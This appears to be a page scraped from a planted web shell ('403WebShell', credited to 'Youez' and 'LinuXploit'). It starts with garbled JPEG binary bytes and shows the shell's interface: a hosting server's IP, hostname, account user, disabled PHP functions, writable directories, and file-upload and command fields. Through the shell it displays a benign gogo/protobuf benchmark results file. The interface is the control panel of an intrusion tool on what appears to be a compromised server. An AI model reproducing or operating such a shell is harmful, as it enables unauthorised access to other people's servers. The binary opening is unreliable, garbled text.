JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.105  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/github.com/gogo/protobuf@v1.3.2/test/mixbench/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/github.com/gogo/protobuf@v1.3.2/test/mixbench/unmarshal.txt
goos: darwin
goarch: amd64
pkg: github.com/gogo/protobuf/test
BenchmarkNidOptNativeProtoUnmarshal-8                                     	 2000000	       742 ns/op	 309.65 MB/s
BenchmarkNinOptNativeProtoUnmarshal-8                                     	 2000000	       892 ns/op	 234.06 MB/s
BenchmarkNidRepNativeProtoUnmarshal-8                                     	  300000	      3762 ns/op	 217.69 MB/s
BenchmarkNinRepNativeProtoUnmarshal-8                                     	  500000	      3750 ns/op	 218.40 MB/s
BenchmarkNidRepPackedNativeProtoUnmarshal-8                               	 1000000	      2423 ns/op	 153.89 MB/s
BenchmarkNinRepPackedNativeProtoUnmarshal-8                               	 1000000	      2356 ns/op	 158.30 MB/s
BenchmarkNidOptStructProtoUnmarshal-8                                     	  500000	      2595 ns/op	 326.01 MB/s
BenchmarkNinOptStructProtoUnmarshal-8                                     	  500000	      2679 ns/op	 285.91 MB/s
BenchmarkNidRepStructProtoUnmarshal-8                                     	  200000	      7477 ns/op	 237.11 MB/s
BenchmarkNinRepStructProtoUnmarshal-8                                     	  200000	      6672 ns/op	 265.70 MB/s
BenchmarkNidEmbeddedStructProtoUnmarshal-8                                	 1000000	      1634 ns/op	 295.59 MB/s
BenchmarkNinEmbeddedStructProtoUnmarshal-8                                	 1000000	      1655 ns/op	 276.61 MB/s
BenchmarkNidNestedStructProtoUnmarshal-8                                  	  100000	     16742 ns/op	 246.68 MB/s
BenchmarkNinNestedStructProtoUnmarshal-8                                  	  100000	     14573 ns/op	 266.92 MB/s
BenchmarkNidOptCustomProtoUnmarshal-8                                     	 2000000	       840 ns/op	  84.48 MB/s
BenchmarkCustomDashProtoUnmarshal-8                                       	 3000000	       573 ns/op	 142.95 MB/s
BenchmarkNinOptCustomProtoUnmarshal-8                                     	 2000000	       668 ns/op	 100.17 MB/s
BenchmarkNidRepCustomProtoUnmarshal-8                                     	  500000	      3945 ns/op	  46.12 MB/s
BenchmarkNinRepCustomProtoUnmarshal-8                                     	  500000	      3939 ns/op	  46.20 MB/s
BenchmarkNinOptNativeUnionProtoUnmarshal-8                                	 5000000	       248 ns/op	  64.30 MB/s
BenchmarkNinOptStructUnionProtoUnmarshal-8                                	 3000000	       432 ns/op	 145.55 MB/s
BenchmarkNinEmbeddedStructUnionProtoUnmarshal-8                           	 2000000	       767 ns/op	 194.07 MB/s
BenchmarkNinNestedStructUnionProtoUnmarshal-8                             	 2000000	       636 ns/op	 122.51 MB/s
BenchmarkTreeProtoUnmarshal-8                                             	 2000000	       649 ns/op	 158.50 MB/s
BenchmarkOrBranchProtoUnmarshal-8                                         	 1000000	      1312 ns/op	 186.65 MB/s
BenchmarkAndBranchProtoUnmarshal-8                                        	 1000000	      1301 ns/op	 188.29 MB/s
BenchmarkLeafProtoUnmarshal-8                                             	 3000000	       490 ns/op	 197.62 MB/s
BenchmarkDeepTreeProtoUnmarshal-8                                         	 1000000	      1059 ns/op	 136.83 MB/s
BenchmarkADeepBranchProtoUnmarshal-8                                      	 1000000	      1253 ns/op	 145.96 MB/s
BenchmarkAndDeepBranchProtoUnmarshal-8                                    	 1000000	      2041 ns/op	 162.62 MB/s
BenchmarkDeepLeafProtoUnmarshal-8                                         	 2000000	       894 ns/op	 156.51 MB/s
BenchmarkNilProtoUnmarshal-8                                              	 5000000	       362 ns/op	  96.48 MB/s
BenchmarkNidOptEnumProtoUnmarshal-8                                       	 5000000	       382 ns/op	  96.84 MB/s
BenchmarkNinOptEnumProtoUnmarshal-8                                       	 3000000	       448 ns/op	  91.37 MB/s
BenchmarkNidRepEnumProtoUnmarshal-8                                       	 2000000	       796 ns/op	  74.10 MB/s
BenchmarkNinRepEnumProtoUnmarshal-8                                       	 2000000	       799 ns/op	  73.79 MB/s
BenchmarkNinOptEnumDefaultProtoUnmarshal-8                                	 3000000	       452 ns/op	  90.59 MB/s
BenchmarkAnotherNinOptEnumProtoUnmarshal-8                                	 3000000	       446 ns/op	  91.74 MB/s
BenchmarkAnotherNinOptEnumDefaultProtoUnmarshal-8                         	 3000000	       451 ns/op	  90.73 MB/s
BenchmarkTimerProtoUnmarshal-8                                            	 3000000	       528 ns/op	 198.78 MB/s
BenchmarkMyExtendableProtoUnmarshal-8                                     	 1000000	      1295 ns/op	  62.54 MB/s
BenchmarkOtherExtenableProtoUnmarshal-8                                   	 1000000	      2420 ns/op	  65.28 MB/s
BenchmarkNestedDefinitionProtoUnmarshal-8                                 	 1000000	      1501 ns/op	 154.48 MB/s
BenchmarkNestedDefinition_NestedMessageProtoUnmarshal-8                   	 2000000	       861 ns/op	 138.09 MB/s
BenchmarkNestedDefinition_NestedMessage_NestedNestedMsgProtoUnmarshal-8   	 3000000	       490 ns/op	 167.26 MB/s
BenchmarkNestedScopeProtoUnmarshal-8                                      	 1000000	      1469 ns/op	 151.78 MB/s
BenchmarkNinOptNativeDefaultProtoUnmarshal-8                              	 2000000	       933 ns/op	 223.93 MB/s
BenchmarkCustomContainerProtoUnmarshal-8                                  	 1000000	      1141 ns/op	  95.48 MB/s
BenchmarkCustomNameNidOptNativeProtoUnmarshal-8                           	 2000000	       771 ns/op	 298.02 MB/s
BenchmarkCustomNameNinOptNativeProtoUnmarshal-8                           	 2000000	       938 ns/op	 222.66 MB/s
BenchmarkCustomNameNinRepNativeProtoUnmarshal-8                           	  500000	      3820 ns/op	 214.37 MB/s
BenchmarkCustomNameNinStructProtoUnmarshal-8                              	  500000	      3613 ns/op	 265.38 MB/s
BenchmarkCustomNameCustomTypeProtoUnmarshal-8                             	  300000	      4301 ns/op	  49.76 MB/s
BenchmarkCustomNameNinEmbeddedStructUnionProtoUnmarshal-8                 	 2000000	       772 ns/op	 192.86 MB/s
BenchmarkCustomNameEnumProtoUnmarshal-8                                   	 3000000	       569 ns/op	  79.04 MB/s
BenchmarkNoExtensionsMapProtoUnmarshal-8                                  	 2000000	       850 ns/op	  95.19 MB/s
BenchmarkUnrecognizedProtoUnmarshal-8                                     	 5000000	       269 ns/op	 166.93 MB/s
BenchmarkUnrecognizedWithInnerProtoUnmarshal-8                            	 2000000	       858 ns/op	 109.44 MB/s
BenchmarkUnrecognizedWithInner_InnerProtoUnmarshal-8                      	10000000	       221 ns/op	  22.56 MB/s
BenchmarkUnrecognizedWithEmbedProtoUnmarshal-8                            	 2000000	       605 ns/op	 146.89 MB/s
BenchmarkUnrecognizedWithEmbed_EmbeddedProtoUnmarshal-8                   	10000000	       222 ns/op	  22.45 MB/s
BenchmarkNodeProtoUnmarshal-8                                             	 2000000	       664 ns/op	 152.10 MB/s
BenchmarkNonByteCustomTypeProtoUnmarshal-8                                	 2000000	       880 ns/op	  89.67 MB/s
BenchmarkNidOptNonByteCustomTypeProtoUnmarshal-8                          	 2000000	       953 ns/op	  87.07 MB/s
BenchmarkNinOptNonByteCustomTypeProtoUnmarshal-8                          	 2000000	       893 ns/op	  88.46 MB/s
BenchmarkNidRepNonByteCustomTypeProtoUnmarshal-8                          	  500000	      3460 ns/op	  66.47 MB/s
BenchmarkNinRepNonByteCustomTypeProtoUnmarshal-8                          	  500000	      3452 ns/op	  66.63 MB/s
BenchmarkProtoTypeProtoUnmarshal-8                                        	 3000000	       510 ns/op	 160.64 MB/s
PASS
ok  	github.com/gogo/protobuf/test	160.971s

Youez - 2016 - github.com/yon3zu
LinuXploit